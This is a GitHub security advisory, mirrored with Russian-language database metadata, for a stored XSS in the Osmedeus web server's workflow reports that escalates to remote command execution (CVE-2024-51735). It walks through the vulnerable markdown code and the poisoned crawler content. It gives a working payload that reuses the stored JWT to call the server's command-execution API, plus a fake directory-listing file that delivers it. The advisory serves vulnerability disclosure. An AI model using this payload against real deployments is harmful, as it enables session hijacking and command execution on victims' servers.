GHSA-wvv7-wm5v-w2gv

Опубликовано: 05 нояб. 2024

Источник: github

Github: Прошло ревью

CVSS4: 9.3

Описание

Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

Summary

XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server.

Details

When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the general-template.md template.

<p align="center"> <a href="https://www.osmedeus.org"><img alt="Osmedeus" src="https://raw.githubusercontent.com/osmedeus/assets/main/logo-transparent.png" height="140" /></a> <br /> <br /> <strong>Execute Summary Generated by Osmedeus {{Version}} at <em>{{CurrentDay}}</em></strong> <p align="center"> <a href="https://docs.osmedeus.org/"><img src="https://img.shields.io/badge/Documentation-0078D4?style=for-the-badge&logo=GitBook&logoColor=39ff14&labelColor=black&color=black"></a> <a href="https://docs.osmedeus.org/donation/"><img src="https://img.shields.io/badge/Donation-0078D4?style=for-the-badge&logo=GitHub-Sponsors&logoColor=39ff14&labelColor=black&color=black"></a> <a href="https://twitter.com/OsmedeusEngine"><img src="https://img.shields.io/badge/%40OsmedeusEngine-0078D4?style=for-the-badge&logo=Twitter&logoColor=39ff14&labelColor=black&color=black"></a> </p> </p> ## Scan Information <scanInfo /> *** ## 🚀 Subdomains <content src="{{Output}}/subdomain/final-{{Workspace}}.txt" shorten=true /> *** ## 🌐 HTTP Fingerprint <content src="{{Output}}/fingerprint/beautify-{{Workspace}}-http.txt" /> *** ## 🐞 Vulnerability ### List of Vulnerability Reports - [**{{Workspace}}-report.html**]({{Output}}/vuln/active/{{Workspace}}-report.html) - [**{{Workspace}}-sensitive.html**]({{Output}}/vuln/sensitive/{{Workspace}}-sensitive.html) - [**{{Workspace}}-nuclei.html**]({{Output}}/vuln/nuclei/{{Workspace}}-nuclei.html) ### Jaeles Scan <content src="{{Output}}/vuln/active/jaeles-summary.txt" /> <content src="{{Output}}/vuln/sensitive/jaeles-summary.txt" /> *** ### Nuclei Scan <content src="{{Output}}/vuln/nuclei/{{Workspace}}-nuclei-scan.txt" /> *** ## 🕷️ Spider Content <content src="{{Output}}/linkfinding/links-{{Workspace}}.txt"/> *** ## 📃 Content Discovery <content src="{{Output}}/directory/unique-beautify-{{Workspace}}.txt" /> *** ## 🔍 Port Scan <content src="{{Output}}/portscan/open-ports.txt" /> ***

The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS The issue starts with processing the tags, and XSS occurs when the extendTag function is called.

https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124

The condition to enter this if branch must meet one of the following cases:

Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible.
len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000).

After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions:

It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on tags ⇒ We can create custom payloads by leveraging this mechanism."

<! -- Fake Index Content --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="1">1</a></li> <li><a href="?abc=<script>alert(1)</script>">yxfzssjq_1721182234998.pdf</a></li> </ul> <hr> </body> </html>

Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit
Spider is a module within the general workflow ⇒ a default workflow that is most commonly used

PoC

https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing

Payload RCE

<script>fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});</script>

File index payload

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href="1">1</a></li> <li><a href="675559605-1278d133b090b74129f65f6d108d2c83.pdf">675559605-1278d133b090b74129f65f6d108d2c83.pdf</a></li> <li><a href="959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe">959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe</a></li> <li><a href="%5BMS-DOCX%5D-240416.docx">[MS-DOCX]-240416.docx</a></li> <li><a href="AnyDesk.exe">AnyDesk.exe</a></li> <li><a href="Attachment.zip">Attachment.zip</a></li> <li><a href="barker.tar">barker.tar</a></li> <li><a href="c1awptpm_1721182413858.pdf">c1awptpm_1721182413858.pdf</a></li> <li><a href="cacert.der">cacert.der</a></li> <li><a href="caido-desktop-logs-1729480323.zip">caido-desktop-logs-1729480323.zip</a></li> <li><a href="caido-desktop-v0.41.0-win-x86_64.exe">caido-desktop-v0.41.0-win-x86_64.exe</a></li> <li><a href="caido-desktop-v0.42.0-win-x86_64.exe">caido-desktop-v0.42.0-win-x86_64.exe</a></li> <li><a href="cdd">cdd</a></li> <li><a href="CentOS-7-live-GNOME-x86_64.iso">CentOS-7-live-GNOME-x86_64.iso</a></li> <li><a href="chrome-integrate.zip">chrome-integrate.zip</a></li> <li><a href="ChromeSetup.exe">ChromeSetup.exe</a></li> <li><a href="Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf">Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf</a></li> <li><a href="CxSAST.950.Release.Setup_9.5.0.100.7z">CxSAST.950.Release.Setup_9.5.0.100.7z</a></li> <li><a href="C%C3%81C%20QUY%20%C4%90%E1%BB%8ANH%20%26%20TI%C3%8AU%20CHU%E1%BA%A8N%20C%E1%BA%A6N%20BI%E1%BA%BET%20CHO%20DOANH%20NGHI%E1%BB%86P%20NH%E1%BB%B0A%20XU%E1%BA%A4T%20KH%E1%BA%A8U%20V%C3%80O%20EU.pdf">CÁC QUY ĐỊNH & TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf</a></li> <li><a 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Impact

Execute command on server

Ссылки

Пакеты

Наименование

github.com/j3ssie/osmedeus

Затронутые версииВерсия исправления

<= 4.6.4

Отсутствует

EPSS

Процентиль: 34%

0.00136

Низкий

9.3 Critical

CVSS4

CVE ID

CVE-2024-51735

Дефекты

CWE-78

CWE-79

Связанные уязвимости

CVE-2024-51735

nvd

больше 1 года назад

Osmedeus is a Workflow Engine for Offensive Security. Cross-site Scripting (XSS) occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server. When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the `general-template.md` template.The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS. This may lead to commands executed on the host as well. This issue is not yet resolved. Users are advised to add their own filtering or to reach out to the developer to aid in developing a patch.

BDU:2024-10907

CVSS3: 9.8

fstec

больше 1 года назад

Уязвимость модуля Summary компонента Workflow фреймворка сканирования уязвимостей Osmedeus, позволяющая нарушителю проводить межсайтовые сценарные атаки

SUSE-SU-2024:4042-1

suse-cvrf

около 1 года назад

Security update for govulncheck-vulndb

EPSS

Процентиль: 34%

0.00136

Низкий

9.3 Critical

CVSS4

CVE ID

CVE-2024-51735

Дефекты

CWE-78

CWE-79